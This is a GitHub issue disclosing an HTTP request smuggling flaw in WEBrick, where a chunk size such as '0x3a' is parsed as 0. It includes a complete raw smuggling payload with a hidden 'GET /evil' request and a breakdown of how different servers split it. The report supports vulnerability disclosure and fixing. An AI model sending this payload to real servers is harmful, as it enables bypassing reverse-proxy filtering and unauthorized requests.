Skip to content

Request Smuggling in WEBrick via bad chunk-size parsing #124

@kenballus

Description

@kenballus

When WEBrick receives a request containing an invalid chunk size, it is interpreted as its longest valid prefix. Thus, chunk sizes that begin with 0x are treated as equivalent to 0.

To see why this is a security problem, consider the following payload:

POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n0x3a\r\n\r\nGET /evil HTTP/1.1\r\nContent-Length: 23\r\nE: vil\r\nEvil: \r\n\r\n0\r\n\r\nGET / HTTP/1.1\r\n\r\n

WEBrick sees it as a POST request for /, followed by a GET for /evil:

POST / HTTP/1.1\r\n
Transfer-Encoding: chunked\r\n
\r\n
0x3a\r\n
\r\n
GET /evil HTTP/1.1\r\n
Content-Length: 23\r\n
E: vil\r\n
Evil: \r\n
\r\n
0\r\n\r\nGET / HTTP/1.1\r\n\r\n

Unfortunately, some HTTP servers ignore 0x prefixes in chunk sizes due to bad parsing logic. Thus, many servers see a POST request for / and a GET request for /:

POST / HTTP/1.1\r\n
Transfer-Encoding: chunked\r\n
\r\n
0x3a\r\n
\r\nGET /evil HTTP/1.1\r\nContent-Length: 23\r\nE: vil\r\nEvil: \r\n\r\n
0\r\n
\r\n
GET / HTTP/1.1\r\n
\r\n

This discrepancy is exploitable to bypass request filtering rules implemented in reverse proxies that ignore 0x prefixes.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions